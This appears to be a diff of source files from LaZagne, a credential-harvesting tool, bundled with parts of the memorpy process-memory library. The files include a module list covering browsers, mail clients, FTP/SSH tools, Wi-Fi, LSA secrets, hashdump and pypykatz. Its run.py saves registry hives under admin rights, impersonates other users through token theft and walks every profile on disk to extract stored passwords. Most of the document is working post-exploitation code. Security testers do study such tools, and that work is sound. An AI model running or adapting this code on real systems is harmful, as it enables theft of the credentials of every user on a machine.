('th32MemoryBase', c_long),
('th32AccessKey', c_long)]
class MODULEENTRY32(Structure):
_fields_ = [('dwSize', c_uint),
('th32ModuleID', c_uint),
('th32ProcessID', c_uint),
('GlblcntUsage', c_uint),
('ProccntUsage', c_uint),
('modBaseAddr', c_uint),
('modBaseSize', c_uint),
('hModule', c_uint),
('szModule', c_char * 256),
('szExePath', c_char * 260)]
class THREADENTRY32(Structure):
_fields_ = [('dwSize', c_uint),
('cntUsage', c_uint),
('th32ThreadID', c_uint),
('th32OwnerProcessID', c_uint),
('tpBasePri', c_uint),
('tpDeltaPri', c_uint),
('dwFlags', c_uint)]
class TH32CS_CLASS(object):
INHERIT = 2147483648
SNAPHEAPLIST = 1
SNAPMODULE = 8
SNAPMODULE32 = 16
SNAPPROCESS = 2
SNAPTHREAD = 4
ALL = 2032639
Module32First = windll.kernel32.Module32First
Module32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)]
Module32First.rettype = c_int
Module32Next = windll.kernel32.Module32Next
Module32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)]
Module32Next.rettype = c_int
Process32First = windll.kernel32.Process32First
Process32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]
Process32First.rettype = c_int
Process32Next = windll.kernel32.Process32Next
Process32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)]
Process32Next.rettype = c_int
CreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot
CreateToolhelp32Snapshot.reltype = c_long
CreateToolhelp32Snapshot.argtypes = [c_int, c_int]
CloseHandle = windll.kernel32.CloseHandle
CloseHandle.argtypes = [c_void_p]
CloseHandle.rettype = c_int
OpenProcess = windll.kernel32.OpenProcess
OpenProcess.argtypes = [c_void_p, c_int, c_long]
OpenProcess.rettype = c_long
OpenProcessToken = windll.advapi32.OpenProcessToken
OpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE))
OpenProcessToken.restype = BOOL
ReadProcessMemory = windll.kernel32.ReadProcessMemory
ReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)]
ReadProcessMemory = windll.kernel32.ReadProcessMemory
WriteProcessMemory = windll.kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)]
WriteProcessMemory.restype = BOOL
if sizeof(c_void_p) == 8:
NtWow64ReadVirtualMemory64=None
else:
try:
NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64
NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead);
NtWow64ReadVirtualMemory64.restype = BOOL
except:
NtWow64ReadVirtualMemory64=None
VirtualQueryEx = windll.kernel32.VirtualQueryEx
VirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t]
VirtualQueryEx.restype = c_size_t
#VirtualQueryEx64 = windll.kernel32.VirtualQueryEx
#VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t]
#VirtualQueryEx64.restype = c_size_t
PAGE_EXECUTE_READWRITE = 64
PAGE_EXECUTE_READ = 32
PAGE_READONLY = 2
PAGE_READWRITE = 4
PAGE_NOCACHE = 512
PAGE_WRITECOMBINE = 1024
PAGE_GUARD = 256
MEM_COMMIT = 4096
MEM_FREE = 65536
MEM_RESERVE = 8192
UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912
DACL_SECURITY_INFORMATION = 4

View File

@ -0,0 +1,32 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
import logging
logger=logging.getLogger("memorpy")
logger.setLevel(logging.WARNING)
ch = logging.StreamHandler()
ch.setLevel(logging.WARNING)
logger.addHandler(ch)
import sys
from .MemWorker import *
from .Locator import *
from .Address import *
from .Process import *
from .utils import *
#if sys.platform=="win32":
# from wintools import * #not a necessary dependency, just used for debugging

View File

@ -0,0 +1,8 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import sys
if sys.platform=="win32":
from .WinStructures import *
else:
from .LinStructures import *

View File

@ -0,0 +1,121 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
import re
import struct
def re_to_unicode(s):
newstring = ''
for c in s:
newstring += re.escape(c) + '\\x00'
return newstring
def type_unpack(type):
""" return the struct and the len of a particular type """
type = type.lower()
s = None
l = None
if type == 'short':
s = 'h'
l = 2
elif type == 'ushort':
s = 'H'
l = 2
elif type == 'int':
s = 'i'
l = 4
elif type == 'uint':
s = 'I'
l = 4
elif type == 'long':
s = 'l'
l = 4
elif type == 'ulong':
s = 'L'
l = 4
elif type == 'float':
s = 'f'
l = 4
elif type == 'double':
s = 'd'
l = 8
else:
raise TypeError('Unknown type %s' % type)
return ('<' + s, l)
def hex_dump(data, addr = 0, prefix = '', ftype = 'bytes'):
"""
function originally from pydbg, modified to display other types
"""
dump = prefix
slice = ''
if ftype != 'bytes':
structtype, structlen = type_unpack(ftype)
for i in range(0, len(data), structlen):
if addr % 16 == 0:
dump += ' '
for char in slice:
if ord(char) >= 32 and ord(char) <= 126:
dump += char
else:
dump += '.'
dump += '\n%s%08X: ' % (prefix, addr)
slice = ''
tmpval = 'NaN'
try:
packedval = data[i:i + structlen]
tmpval = struct.unpack(structtype, packedval)[0]
except Exception as e:
print(e)
if tmpval == 'NaN':
dump += '{:<15} '.format(tmpval)
elif ftype == 'float':
dump += '{:<15.4f} '.format(tmpval)
else:
dump += '{:<15} '.format(tmpval)
addr += structlen
else:
for byte in data:
if addr % 16 == 0:
dump += ' '
for char in slice:
if ord(char) >= 32 and ord(char) <= 126:
dump += char
else:
dump += '.'
dump += '\n%s%08X: ' % (prefix, addr)
slice = ''
dump += '%02X ' % byte
slice += chr(byte)
addr += 1
remainder = addr % 16
if remainder != 0:
dump += ' ' * (16 - remainder) + ' '
for char in slice:
if ord(char) >= 32 and ord(char) <= 126:
dump += char
else:
dump += '.'
return dump + '\n'

View File

@ -0,0 +1,6 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
version=(1,7)
version_string="%s.%s"%version

View File

@ -0,0 +1,35 @@
# Author: Nicolas VERDIER
# This file is part of memorpy.
#
# memorpy is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# memorpy is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with memorpy. If not, see <http://www.gnu.org/licenses/>.
from ctypes import windll
import time
def start_winforeground_daemon():
import threading
t=threading.Thread(target=window_foreground_loop)
t.daemon=True
t.start()
def window_foreground_loop(timeout=20):
""" set the windows python console to the foreground (for example when you are working with a fullscreen program) """
hwnd = windll.kernel32.GetConsoleWindow()
HWND_TOPMOST = -1
SWP_NOMOVE = 2
SWP_NOSIZE = 1
while True:
windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE | SWP_NOSIZE)
time.sleep(timeout)

View File

@ -0,0 +1,172 @@
# Browsers
from lazagne.softwares.browsers.chromium_based import chromium_browsers
from lazagne.softwares.browsers.ie import IE
from lazagne.softwares.browsers.mozilla import firefox_browsers
from lazagne.softwares.browsers.ucbrowser import UCBrowser
# Chats
from lazagne.softwares.chats.pidgin import Pidgin
from lazagne.softwares.chats.psi import PSI
from lazagne.softwares.chats.skype import Skype
# Databases
from lazagne.softwares.databases.dbvis import Dbvisualizer
from lazagne.softwares.databases.postgresql import PostgreSQL
from lazagne.softwares.databases.robomongo import Robomongo
from lazagne.softwares.databases.sqldeveloper import SQLDeveloper
from lazagne.softwares.databases.squirrel import Squirrel
# Games
from lazagne.softwares.games.galconfusion import GalconFusion
from lazagne.softwares.games.kalypsomedia import KalypsoMedia
from lazagne.softwares.games.roguestale import RoguesTale
from lazagne.softwares.games.turba import Turba
# Git
from lazagne.softwares.git.gitforwindows import GitForWindows
# Mails
from lazagne.softwares.mails.outlook import Outlook
from lazagne.softwares.mails.thunderbird import Thunderbird
# Maven
from lazagne.softwares.maven.mavenrepositories import MavenRepositories
# Memory
from lazagne.softwares.memory.keepass import Keepass
from lazagne.softwares.memory.memorydump import MemoryDump
# Multimedia
from lazagne.softwares.multimedia.eyecon import EyeCON
# Php
from lazagne.softwares.php.composer import Composer
# Svn
from lazagne.softwares.svn.tortoise import Tortoise
# Sysadmin
from lazagne.softwares.sysadmin.apachedirectorystudio import ApacheDirectoryStudio
from lazagne.softwares.sysadmin.coreftp import CoreFTP
from lazagne.softwares.sysadmin.cyberduck import Cyberduck
from lazagne.softwares.sysadmin.filezilla import Filezilla
from lazagne.softwares.sysadmin.filezillaserver import FilezillaServer
from lazagne.softwares.sysadmin.ftpnavigator import FtpNavigator
from lazagne.softwares.sysadmin.opensshforwindows import OpenSSHForWindows
from lazagne.softwares.sysadmin.openvpn import OpenVPN
from lazagne.softwares.sysadmin.iiscentralcertp import IISCentralCertP
from lazagne.softwares.sysadmin.keepassconfig import KeePassConfig
from lazagne.softwares.sysadmin.iisapppool import IISAppPool
from lazagne.softwares.sysadmin.puttycm import Puttycm
from lazagne.softwares.sysadmin.rdpmanager import RDPManager
from lazagne.softwares.sysadmin.unattended import Unattended
from lazagne.softwares.sysadmin.vnc import Vnc
from lazagne.softwares.sysadmin.winscp import WinSCP
from lazagne.softwares.sysadmin.wsl import Wsl
# Wifi
from lazagne.softwares.wifi.wifi import Wifi
# Windows
from lazagne.softwares.windows.autologon import Autologon
from lazagne.softwares.windows.cachedump import Cachedump
from lazagne.softwares.windows.credman import Credman
from lazagne.softwares.windows.credfiles import CredFiles
from lazagne.softwares.windows.hashdump import Hashdump
from lazagne.softwares.windows.ppypykatz import Pypykatz
from lazagne.softwares.windows.lsa_secrets import LSASecrets
from lazagne.softwares.windows.vault import Vault
from lazagne.softwares.windows.vaultfiles import VaultFiles
from lazagne.softwares.windows.windows import WindowsPassword
def get_categories():
category = {
'browsers': {'help': 'Web browsers supported'},
'chats': {'help': 'Chat clients supported'},
'databases': {'help': 'SQL/NoSQL clients supported'},
'games': {'help': 'Games etc.'},
'git': {'help': 'GIT clients supported'},
'mails': {'help': 'Email clients supported'},
'maven': {'help': 'Maven java build tool'},
'memory': {'help': 'Retrieve passwords from memory'},
'multimedia': {'help': 'Multimedia applications, etc'},
'php': {'help': 'PHP build tool'},
'svn': {'help': 'SVN clients supported'},
'sysadmin': {'help': 'SCP/SSH/FTP/FTPS clients supported'},
'windows': {'help': 'Windows credentials (credential manager, etc.)'},
'wifi': {'help': 'Wifi'},
}
return category
def get_modules():
module_names = [
# Browser
IE(),
UCBrowser(),
# Chats
Pidgin(),
Skype(),
PSI(),
# Databases
Dbvisualizer(),
Squirrel(),
SQLDeveloper(),
Robomongo(),
PostgreSQL(),
# games
KalypsoMedia(),
GalconFusion(),
RoguesTale(),
Turba(),
# Git
GitForWindows(),
# Mails
Outlook(),
Thunderbird(),
# Maven
MavenRepositories(),
# Memory
MemoryDump(), # retrieve browsers and keepass passwords
Keepass(), # should be launched after memory dump
# Multimedia
EyeCON(),
# Php
Composer(),
# SVN
Tortoise(),
# Sysadmin
ApacheDirectoryStudio(),
CoreFTP(),
Cyberduck(),
Filezilla(),
FilezillaServer(),
FtpNavigator(),
KeePassConfig(),
Puttycm(),
OpenSSHForWindows(),
OpenVPN(),
IISCentralCertP(),
IISAppPool(),
RDPManager(),
Unattended(),
WinSCP(),
Vnc(),
Wsl(),
# Wifi
Wifi(),
# Windows
Autologon(),
Pypykatz(),
Cachedump(),
Credman(),
Hashdump(),
LSASecrets(),
CredFiles(),
Vault(),
VaultFiles(),
WindowsPassword(),
]
return module_names + chromium_browsers + firefox_browsers

View File

@ -0,0 +1,49 @@
"""
name => Name of a class
category => windows / browsers / etc
options => dictionary
- command
- action
- dest
- help
ex: ('-s', action='store_true', dest='skype', help='skype')
- options['command'] = '-s'
- options['action'] = 'store_true'
- options['dest'] = 'skype'
- options['help'] = 'skype'
"""
from lazagne.config.write_output import print_debug
class ModuleInfo(object):
def __init__(self, name, category, options={}, suboptions=[], registry_used=False, winapi_used=False,
system_module=False, dpapi_used=False, only_from_current_user=False):
self.name = name
self.category = category
self.options = {
'command': '-{name}'.format(name=self.name),
'action': 'store_true',
'dest': self.name,
'help': '{name} passwords'.format(name=self.name)
}
self.suboptions = suboptions
self.registry_used = registry_used
self.system_module = system_module
self.winapi_used = winapi_used
self.dpapi_used = dpapi_used
self.only_from_current_user = only_from_current_user
def error(self, message):
print_debug('ERROR', message)
def info(self, message):
print_debug('INFO', message)
def debug(self, message):
print_debug('DEBUG', message)
def warning(self, message):
print_debug('WARNING', message)

261
lazagne/config/run.py Normal file
View File

@ -0,0 +1,261 @@
# -*- coding: utf-8 -*-
# !/usr/bin/python
import ctypes
import logging
import sys
import traceback
from lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle
from lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi
from lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved
from lazagne.config.execute_cmd import save_hives, delete_hives
from lazagne.config.write_output import print_debug, StandardOutput
from lazagne.config.constant import constant
from lazagne.config.manage_modules import get_categories, get_modules
# Useful for the Pupy project
# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object
sys.setrecursionlimit(10000)
def create_module_dic():
if constant.modules_dic:
return constant.modules_dic
modules = {}
# Define a dictionary for all modules
for category in get_categories():
modules[category] = {}
# Add all modules to the dictionary
for m in get_modules():
modules[m.category][m.options['dest']] = m
constant.modules_dic = modules
return modules
def run_module(title, module):
"""
Run only one module
"""
try:
constant.st.title_info(title.capitalize()) # print title
pwd_found = module.run() # run the module
constant.st.print_output(title.capitalize(), pwd_found) # print the results
# Return value - not used but needed
yield True, title.capitalize(), pwd_found
except Exception:
error_message = traceback.format_exc()
print_debug('DEBUG', error_message)
yield False, title.capitalize(), error_message
def run_modules(module, subcategories={}, system_module=False):
"""
Run modules inside a category (could be one or multiple modules)
"""
modules_to_launch = []
# Launch only a specific module
for i in subcategories:
if subcategories[i] and i in module:
modules_to_launch.append(i)
# Launch all modules
if not modules_to_launch:
modules_to_launch = module
for i in modules_to_launch:
# Only current user could access to HKCU registry or use some API that only can be run from the user environment
if not constant.is_current_user:
if module[i].registry_used or module[i].only_from_current_user:
continue
if system_module ^ module[i].system_module:
continue
if module[i].winapi_used:
constant.module_to_exec_at_end['winapi'].append({
'title': i,
'module': module[i],
})
continue
if module[i].dpapi_used:
constant.module_to_exec_at_end['dpapi'].append({
'title': i,
'module': module[i],
})
continue
# Run module
for m in run_module(title=i, module=module[i]):
yield m
def run_category(category_selected, subcategories={}, system_module=False):
constant.module_to_exec_at_end = {
"winapi": [],
"dpapi": [],
}
modules = create_module_dic()
categories = [category_selected] if category_selected != 'all' else get_categories()
for category in categories:
for r in run_modules(modules[category], subcategories, system_module):
yield r
if not system_module:
if constant.is_current_user:
# Modules using Windows API (CryptUnprotectData) can be called from the current session
for module in constant.module_to_exec_at_end.get('winapi', []):
for m in run_module(title=module['title'], module=module['module']):
yield m
if constant.module_to_exec_at_end.get('dpapi', []):
if are_masterkeys_retrieved():
for module in constant.module_to_exec_at_end.get('dpapi', []):
for m in run_module(title=module['title'], module=module['module']):
yield m
else:
if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []):
if are_masterkeys_retrieved():
# Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData
for i in ['winapi', 'dpapi']:
for module in constant.module_to_exec_at_end.get(i, []):
for m in run_module(title=module['title'], module=module['module']):
yield m
def run_lazagne(category_selected='all', subcategories={}, password=None):
"""
Execution Workflow:
- If admin:
- Execute system modules to retrieve LSA Secrets and user passwords if possible
- These secret could be useful for further decryption (e.g Wifi)
- If a process of another user is launched try to impersone it (impersonating his token)
- TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques
- From our user:
- Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
- Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.)
- If the user password or the dpapi hash is found:
- Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.)
- From all users found on the filesystem (e.g C:\\Users) - Need admin privilege:
- Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
- If the user password or the dpapi hash is found:
- Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.)
To resume:
- Some passwords (e.g Firefox) could be retrieved from any other user
- CryptUnprotectData can be called only from our current session
- DPAPI Blob can decrypted only if we have the password or the hash of the user
"""
# Useful if this function is called from another tool
if password:
constant.user_password = password
if not constant.st:
constant.st = StandardOutput()
# --------- Execute System modules ---------
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
if save_hives():
# System modules (hashdump, lsa secrets, etc.)
constant.username = 'SYSTEM'
constant.finalResults = {'User': constant.username}
constant.system_dpapi = SystemDpapi()
if logging.getLogger().isEnabledFor(logging.INFO):
constant.st.print_user(constant.username)
yield 'User', constant.username
try:
for r in run_category(category_selected, subcategories, system_module=True):
yield r
except: # Catch all kind of exceptions
pass
finally:
delete_hives()
constant.stdout_result.append(constant.finalResults)
# ------ Part used for user impersonation ------
constant.is_current_user = True
constant.username = get_username_winapi()
if not constant.username.endswith('$'):
constant.finalResults = {'User': constant.username}
constant.st.print_user(constant.username)
yield 'User', constant.username
set_env_variables(user=constant.username)
for r in run_category(category_selected, subcategories):
yield r
constant.stdout_result.append(constant.finalResults)
# Check if admin to impersonate
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
# --------- Impersonation using tokens ---------
sids = list_sids()
impersonate_users = {}
impersonated_user = [constant.username]
for sid in sids:
# Not save the current user's SIDs and not impersonate system user
if constant.username != sid[3] and sid[2] != 'S-1-5-18':
impersonate_users.setdefault(sid[3], []).append(sid[2])
for user in impersonate_users:
if 'service' in user.lower().strip():
continue
# Do not impersonate the same user twice
if user in impersonated_user:
continue
constant.st.print_user(user)
yield 'User', user
constant.finalResults = {'User': user}
for sid in impersonate_users[user]:
try:
set_env_variables(user, to_impersonate=True)
if impersonate_sid_long_handle(sid, close=False):
impersonated_user.append(user)
# Launch module wanted
for r in run_category(category_selected, subcategories):
yield r
rev2self()
constant.stdout_result.append(constant.finalResults)
break
except Exception:
print_debug('DEBUG', traceback.format_exc())
# --------- Impersonation browsing file system ---------
constant.is_current_user = False
# Ready to check for all users remaining
all_users = get_user_list_on_filesystem(impersonated_user=[constant.username])
for user in all_users:
# Fix value by default for user environment (APPDATA and USERPROFILE)
set_env_variables(user, to_impersonate=True)
constant.st.print_user(user)
constant.username = user
constant.finalResults = {'User': user}
yield 'User', user
# Retrieve passwords that need high privileges
for r in run_category(category_selected, subcategories):
yield r
constant.stdout_result.append(constant.finalResults)

81
lazagne/config/users.py Normal file
View File

@ -0,0 +1,81 @@
# -*- coding: utf-8 -*-
# !/usr/bin/python
import os
import ctypes
import sys
#from lazagne.config.winstructure import get_os_version
from lazagne.config.constant import constant
def get_user_list_on_filesystem(impersonated_user=[]):
"""
Get user list to retrieve their passwords
"""
# Check users existing on the system (get only directories)
user_path = u'{drive}:\\Users'.format(drive=constant.drive)
#if float(get_os_version()) < 6:
# user_path = u'{drive}:\\Documents and Settings'.format(drive=constant.drive)
all_users = []
if os.path.exists(user_path):
all_users = [filename for filename in os.listdir(user_path) if os.path.isdir(os.path.join(user_path, filename))]
# Remove default users
for user in ['All Users', 'Default User', 'Default', 'Public', 'desktop.ini']:
if user in all_users:
all_users.remove(user)
# Removing user that have already been impersonated
for imper_user in impersonated_user:
if imper_user in all_users:
all_users.remove(imper_user)
return all_users
def set_env_variables(user, to_impersonate=False):
# Restore template path
template_path = {
'APPDATA': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\',
'USERPROFILE': u'{drive}:\\Users\\{user}\\',
'HOMEDRIVE': u'{drive}:',
'HOMEPATH': u'{drive}:\\Users\\{user}',
'ALLUSERSPROFILE': u'{drive}:\\ProgramData',
'COMPOSER_HOME': u'{drive}:\\Users\\{user}\\AppData\\Roaming\\Composer\\',
'LOCALAPPDATA': u'{drive}:\\Users\\{user}\\AppData\\Local',
}
constant.profile = template_path
if not to_impersonate:
# Get value from environment variables
for env in constant.profile:
if os.environ.get(env):
try:
constant.profile[env] = os.environ.get(env).decode(sys.getfilesystemencoding())
except Exception:
constant.profile[env] = os.environ.get(env)
# Replace "drive" and "user" with the correct values
for env in constant.profile:
constant.profile[env] = constant.profile[env].format(drive=constant.drive, user=user)
def get_username_winapi():
GetUserNameW = ctypes.windll.advapi32.GetUserNameW
GetUserNameW.argtypes = [ctypes.c_wchar_p, ctypes.POINTER(ctypes.c_uint)]
GetUserNameW.restype = ctypes.c_uint
_buffer = ctypes.create_unicode_buffer(1)
size = ctypes.c_uint(len(_buffer))
while not GetUserNameW(_buffer, ctypes.byref(size)):
# WinError.h
# define ERROR_INSUFFICIENT_BUFFER 122L // dderror
if ctypes.GetLastError() == 122:
_buffer = ctypes.create_unicode_buffer(len(_buffer)*2)
size.value = len(_buffer)
else:
return os.getenv('username') # Unusual error
return _buffer.value

View File

@ -0,0 +1,715 @@
# Vault Structure has been taken from mimikatz
from ctypes.wintypes import *
from ctypes import *
import sys
import os
try:
import _winreg as winreg
except ImportError:
import winreg
LPTSTR = LPSTR
LPCTSTR = LPSTR
PHANDLE = POINTER(HANDLE)
HANDLE = LPVOID
LPDWORD = POINTER(DWORD)
PVOID = c_void_p
INVALID_HANDLE_VALUE = c_void_p(-1).value
NTSTATUS = ULONG()
PWSTR = c_wchar_p
LPWSTR = c_wchar_p
PBYTE = POINTER(BYTE)
LPBYTE = POINTER(BYTE)
PSID = PVOID
LONG = c_long
WORD = c_uint16
# #############################- Constants ##############################
# Credential Manager
CRYPTPROTECT_UI_FORBIDDEN = 0x01
CRED_TYPE_GENERIC = 0x1
CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4
# Regedit
HKEY_CURRENT_USER = -2147483647
HKEY_LOCAL_MACHINE = -2147483646
KEY_READ = 131097
KEY_ENUMERATE_SUB_KEYS = 8
KEY_QUERY_VALUE = 1
# custom key to read registry (not from msdn)
ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE
# Token manipulation
PROCESS_QUERY_INFORMATION = 0x0400
STANDARD_RIGHTS_REQUIRED = 0x000F0000
READ_CONTROL = 0x00020000
STANDARD_RIGHTS_READ = READ_CONTROL
TOKEN_ASSIGN_PRIMARY = 0x0001
TOKEN_DUPLICATE = 0x0002
TOKEN_IMPERSONATE = 0x0004
TOKEN_QUERY = 0x0008
TOKEN_QUERY_SOURCE = 0x0010
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_ADJUST_GROUPS = 0x0040
TOKEN_ADJUST_DEFAULT = 0x0080
TOKEN_ADJUST_SESSIONID = 0x0100
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
tokenprivs = (
TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (
131072 | 4))
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID)
SE_DEBUG_PRIVILEGE = 20
# ############################# Structures ##############################
class CREDENTIAL_ATTRIBUTE(Structure):
_fields_ = [
('Keyword', LPSTR),
('Flags', DWORD),
('ValueSize', DWORD),
('Value', LPBYTE)
]
PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE)
class CREDENTIAL(Structure):
_fields_ = [
('Flags', DWORD),
('Type', DWORD),
('TargetName', LPSTR),
('Comment', LPSTR),
('LastWritten', FILETIME),
('CredentialBlobSize', DWORD),
# ('CredentialBlob', POINTER(BYTE)),
('CredentialBlob', POINTER(c_char)),
('Persist', DWORD),
('AttributeCount', DWORD),
('Attributes', PCREDENTIAL_ATTRIBUTE),
('TargetAlias', LPSTR),
('UserName', LPSTR)
]
PCREDENTIAL = POINTER(CREDENTIAL)
class DATA_BLOB(Structure):
_fields_ = [
('cbData', DWORD),
('pbData', POINTER(c_char))
]
class GUID(Structure):
_fields_ = [
("data1", DWORD),
("data2", WORD),
("data3", WORD),
("data4", BYTE * 6)
]
LPGUID = POINTER(GUID)
class VAULT_CREDENTIAL_ATTRIBUTEW(Structure):
_fields_ = [
('keyword', LPWSTR),
('flags', DWORD),
('badAlign', DWORD),
('valueSize', DWORD),
('value', LPBYTE),
]
PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW)
class VAULT_BYTE_BUFFER(Structure):
_fields_ = [
('length', DWORD),
('value', PBYTE),
]
class DATA(Structure):
_fields_ = [
# ('boolean', BOOL),
# ('short', SHORT),
# ('unsignedShort', WORD),
# ('int', LONG),
# ('unsignedInt', ULONG),
# ('double', DOUBLE),
('guid', GUID),
('string', LPWSTR),
('byteArray', VAULT_BYTE_BUFFER),
('protectedArray', VAULT_BYTE_BUFFER),
('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW),
# ('Sid', PSID)
('sid', DWORD)
]
class Flag(Structure):
_fields_ = [
('0x00', DWORD),
('0x01', DWORD),
('0x02', DWORD),
('0x03', DWORD),
('0x04', DWORD),
('0x05', DWORD),
('0x06', DWORD),
('0x07', DWORD),
('0x08', DWORD),
('0x09', DWORD),
('0x0a', DWORD),
('0x0b', DWORD),
('0x0c', DWORD),
('0x0d', DWORD)
]
class VAULT_ITEM_DATA(Structure):
_fields_ = [
# ('schemaElementId', DWORD),
# ('unk0', DWORD),
# ('Type', DWORD),
# ('unk1', DWORD),
('data', DATA),
]
PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA)
# From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L157
class VAULT_ITEM_WIN8(Structure):
_fields_ = [
('id', GUID),
('pName', PWSTR),
('pResource', PVAULT_ITEM_DATA),
('pUsername', PVAULT_ITEM_DATA),
('pPassword', PVAULT_ITEM_DATA),
('pPackageSid', PVAULT_ITEM_DATA),
('LastWritten', FILETIME),
('Flags', DWORD),
('cbProperties', DWORD),
('Properties', PVAULT_ITEM_DATA),
]
PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8)
# From https://github.com/gentilkiwi/mimikatz/blob/b008188f9fe5668b5dae80c210290c7efa872ffa/mimikatz/modules/kuhl_m_vault.h#L145
class VAULT_ITEM_WIN7(Structure):
_fields_ = [
('id', GUID),
('pName', PWSTR),
('pResource', PVAULT_ITEM_DATA),
('pUsername', PVAULT_ITEM_DATA),
('pPassword', PVAULT_ITEM_DATA),
('LastWritten', FILETIME),
('Flags', DWORD),
('cbProperties', DWORD),
('Properties', PVAULT_ITEM_DATA),
]
PVAULT_ITEM_WIN7 = POINTER(VAULT_ITEM_WIN7)
class OSVERSIONINFOEXW(Structure):
_fields_ = [
('dwOSVersionInfoSize', c_ulong),
('dwMajorVersion', c_ulong),
('dwMinorVersion', c_ulong),
('dwBuildNumber', c_ulong),
('dwPlatformId', c_ulong),
('szCSDVersion', c_wchar * 128),
('wServicePackMajor', c_ushort),
('wServicePackMinor', c_ushort),
('wSuiteMask', c_ushort),
('wProductType', c_byte),
('wReserved', c_byte)
]
class CRYPTPROTECT_PROMPTSTRUCT(Structure):
_fields_ = [
('cbSize', DWORD),
('dwPromptFlags', DWORD),
('hwndApp', HWND),
('szPrompt', LPCWSTR),
]
PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)
class LUID(Structure):
_fields_ = [
("LowPart", DWORD),
("HighPart", LONG),
]
PLUID = POINTER(LUID)
class SID_AND_ATTRIBUTES(Structure):
_fields_ = [
("Sid", PSID),
("Attributes", DWORD),
]
class TOKEN_USER(Structure):
_fields_ = [
("User", SID_AND_ATTRIBUTES), ]
class LUID_AND_ATTRIBUTES(Structure):
_fields_ = [
("Luid", LUID),
("Attributes", DWORD),
]
